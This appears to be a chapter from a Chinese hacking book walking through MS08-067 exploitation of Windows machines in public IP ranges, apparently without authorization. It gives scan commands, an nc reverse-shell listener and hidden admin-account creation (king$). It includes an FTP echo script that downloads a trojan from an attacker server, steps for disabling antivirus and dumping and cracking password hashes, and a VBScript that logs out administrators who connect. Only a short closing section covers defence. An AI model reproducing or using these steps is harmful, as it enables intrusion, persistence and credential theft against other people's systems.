2.8 MS08-067远程溢出漏洞利用实战
微软的正版验证机制发布后不久,就爆出了针对中文版本的MS08-067漏洞。下面对MS08-067远程溢出漏洞进行实战分析。
2.8.1 MS08-067漏洞描述
MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的RPC请求,则该漏洞可能允许远程执行代码。在Windows 2000、Windows XP和Windows Server 2003系统中,攻击者可能未经身份验证即可利用此漏洞运行任意代码。此漏洞可用于进行蠕虫攻击,目前已经出现了利用该漏洞的蠕虫病毒。默认的防火墙配置有助于保护网络资源免受从外部发起的攻击(默认情况下能建立空连接)。
MS08-067比“冲击波”还要厉害,通过笔者的实际测试,扫描一个网段至少能发现上百台存在该漏洞的计算机,只要是中文版本的Windows操作系统(Windows Vista除外),无一幸免!
2.8.2 实战MS08-067远程漏洞利用
1.扫描445端口
关于MS08-067漏洞,据相关资料称,只要扫描到开放的139、445端口,就有可能利用该漏洞来实施远程溢出。因此,我们首先使用工具软件扫描445端口。扫描的工具有很多,下面介绍两种在DOS下的扫描工具,一个是sfind.exe,另一个是s.exe。前者命令为“sfind-p 445 IP地址1 IP地址2”,例如“sfind-p 445218.99.0.1218.99.0.255”;后者的推荐命令格式为“s tcp 218.99.0.1218.99.255.255445 512/save”。这两个软件扫描完成后会自动保存结果,可以在肉机后台工作。笔者采用sfind.exe对附近的计算机进行445端口扫描,如图2-59所示,一共找出7台计算机。如果是大范围扫描,推荐使用后一种扫描软件,因为其扫描速度较快。
图2-59 使用sfind扫描445端口
说明
由于扫描出来的结果比较少,所以直接在命令行界面查看就可以了。如果结果比较多,可以到sfind扫描目录下打开sfind.txt查看扫描结果。
2.使用MS08-067溢出工具对结果进行溢出尝试
将获取的代码在VC环境中编译,将生成的程序命名为“MS0867”,然后打开DOS界面,将MS08-067.exe程序复制到当前操作目录下,直接输入程序的名称,回车后即可看到具体的使用方式。MS08-067漏洞的使用方法为“MS08-067 IP地址”, IP地址为存在该漏洞的服务器或者个人计算机的IP地址。输入可能存在该漏洞的IP地址218.*.*.*,显示结果“SMB Connect OK! Maybe Patched! ”,如图2-60所示。
图2-60 对存在漏洞的服务器进行溢出
注意
·在溢出过程中还有多种提示,例如“Make SMB Connection error:64”。
·出现“Maybe Patched! ”提示的计算机也可能溢出成功。
·仅对中文版本有效,对其他版本的服务器,即使存在445漏洞也无法溢出,原因是操作系统溢出点的内存地址不同。
3.监听4444端口
在执行扫描的计算机上使用nc监听4444端口,具体命令为“nc-vv IP地址4444”(例如“nc-vv 218.69.*.24444”)。不成功的溢出显示结果,例如“Warning: forward host lookup failed for 71.27.22.218.broad.static.hf.ah.cndata.com: h_errno 11002: TRY _ AGAIN 71.27.22.218.broad. static.hf.ah.cndata.com [218.22.27.71] 4444 (? ) : TIMEDOUT sent 0, rcvd 0: NOTSOCK”,这说明218.22.27.71可能已经安装了补丁或者防火墙禁止了对外连接等。
说明
在MS08-067中可以定制监听端口,不过该端口需要在源程序中定制。
4.继续进行溢出
换一个IP地址执行溢出。重新监听该IP地址,如图2-61所示,得到我们比较熟悉的反弹Shell窗口。笔者在本地虚拟机上执行了很多次测试都未成功,但在实际环境中却能测试成功。
图2-61 溢出成功
5.查看服务器信息
对溢出的计算机,先要了解其配置等信息,例如操作系统版本、系统配置情况等,然后决定是否对其进行控制等后续操作。如果仅仅是普通个人计算机,而且配置极差,控制的意义不大。在这里使用“type c:\boot.ini”命令查看操作系统类型,如图2-62所示,该服务器为Windows Server 2003企业版服务器,显然有进一步控制的必要了。
图2-62 查看服务器版本等信息
6.添加管理员账号
既然是服务器,那就先添加一个管理员账号吧。如图2-63所示,使用“net user king$ nohacker/add”、“net localgroup administrators king$/add”及“net localgroup administrators”命令添加“king$”用户,密码为“nohacker”,并查看是否将“king$”用户加入到管理员组中。
图2-63 添加一个用户到管理员组中
7.上传文件
上传文件有多种方法,个人推荐FTP脚本法,即在某个站点或者自己假设一个临时FTP服务器,然后使用以下脚本下载ma.exe。
echo open 218.*.*.* >b echo ftp>>b echo ftp>>b echo bin>>b echo get ma.exe>>b echo bye>>b ftp -s:b del b
将以上脚本直接粘贴在反弹Shell中,即可从FTP服务器上下载,然后就可以在反弹的Shell中执行下载的文件了。在本次渗透过程中,由于是相邻的IP地址,因此使用了一个简便的方法,即单击“开始”→“运行”选项,在其中输入“\\IP\admin$”或者“\\IP\C$”并单击“确定”按钮,如图2-64所示。如果能够连接,会出现一个输入网络密码的提示框,在“用户”和“密码”文本框中分别输入刚才添加的用户名。
图2-64 打开网络连接
如果验证正确,则可以像使用资源管理器一样使用被溢出计算机所建立的磁盘连接。如图2-65所示,顺利打开该服务器的系统盘,将木马、获取系统密码、查看系统信息等工具软件复制进去。
图2-65 打开被溢出服务器的系统盘
8.获取系统详细信息及执行各种命令
使用MS08-067溢出工具成功溢出服务器后,还可以使用“telnet IP地址4444”命令连接被溢出的服务器。如图2-66所示,笔者使用telnet进行了尝试,获取了系统信息并开放了3389端口。
图2-66 使用telnet连接被溢出计算机
说明
· telnet连接被溢出计算机不如反弹Shell好用,在telnet中有可能看不到输入,或者输入后反应较为迟钝。
·可以使用如下脚本来查看对方服务器的3389端口。
Echo Dim ReadComputerName >>port.vbs Echo Set ReadComputerName=WScript.CreateObject("WScript.Shell") >>port.vbs Echo Dim TSName, TSRegPath >>port.vbs Echo TSRegPath="HKLM\System\CurrentControlSet\Control\Terminal Server\ WinStations\RDP-Tcp\PortNumber" >>port.vbs Echo TSName=ReadComputerName.RegRead(TSRegPath) >>port.vbs Echo WScript.Echo("TermService port is:"^&TSName) >>port.vbs Cscript port.vbs
9.登录被溢出服务器
打开mstsc远程终端连接器,输入IP地址、刚才添加的用户名和密码,验证成功后顺利进入服务器,如图2-67所示。
图2-67 顺利进入被溢出服务器
10.加固服务器
俗话说:“打江山容易,守江山难。”成功攻克服务器后,要先对计算机的安全状况和所采取的安全措施进行了解。根据笔者的经验,应先进行简单的加固,如图2-68所示,就地取材,看看系统中有哪些杀毒软件,例如360安全卫士等,再对系统的补丁进行修复,删除其他木马程序等。在本案例中,利用瑞星的漏洞扫描程序对系统进行扫描,然后进行修复。
图2-68 扫描系统漏洞并修复
注意
如果系统中安装了瑞星等杀毒软件,使用getpw获取系统账号将会失败,这个时候就要想办法开放服务器的远程终端。登录系统后,禁用杀毒软件,然后使用getpw命令获取系统的Hash密码。getpw命令获取密码的格式为“getpw $local”,获取的Hash密码一定要在Shell中,否则获取的Hash密码为空。将获取的值复制到TXT文件中,并去除内容中的空格,正确的格式如图2-69所示。
图2-69 获取的密码Hash值
如果被溢出服务器已经开放了3389端口,则登录后要注意管理员是否在线。以前网上有一些批处理脚本,当管理员登录后,脚本会自动注销当前登录用户。感谢“孤水绕城”提供了这样一个脚本,具体如下。
on error resume next set arg=wscript.arguments If arg.count=0 then wscript.echo "use:// cscript.exe FS.vbs port" sleep 1000 wscript.quit End If Tport=arg(0) Runs=false While runs=false Dim oShell, oExec, strOut, oRegExp, Matches, Match, Num, Tport Set oShell = WScript.CreateObject("WScript.Shell") Set oExec = oShell.Exec("netstat -an") Set oRegExp = new RegExp oRegExp.Pattern = "TCP[\s]+[\d\.]+:"&Tport&"[\s]+[\d\.]+:[\d]+[\s]+ESTABLISHED" oRegExp.IgnoreCase = True oRegExp.Global = True Do While Not oExec.StdOut.AtEndOfStream strOut = strOut & oExec.StdOut.ReadLine() & Chr(13) & Chr(10) Loop Set Matches = oRegExp.Execute(strOut) Num = 0 For Each Match In Matches Num = Num + 1 Next if num > 1 then Runs=true oShell.run "logoff" end if Set Matches = Nothing Set oRegExp = Nothing Set oExec = Nothing Set oShell = Nothing Wend
11.破解Hash值
直接使用LC5导入即可。
12.继续溢出
测试成功后,继续对扫描结果进行溢出,毫无疑问,Windows XP、Window 2000 Server、Windows 2000 Professional及Windows Server 2003均可成功溢出。如图2-70所示为成功溢出Windows 2000服务器。
图2-70 溢出其他类型的服务器
2.8.3 防范措施
1.安装360安全卫士和升级系统补丁
首先就是升级系统补丁,推荐使用360安全卫士,使用其扫描功能,发现问题按照提示纠正即可。还有就是要及时升级360安全卫士的版本,在实际溢出过程中,笔者发现很多服务器上都安装了杀毒软件及360安全卫士,但由于其版本太低,未及时更新补丁程序,失去了应有的防范能力。
2.安装防火墙
在本次溢出过程中,笔者还发现,在存在防火墙的情况下,成功溢出的概率几乎为零。因此,推荐在系统中安装防火墙,这对内外网防范都是有效的。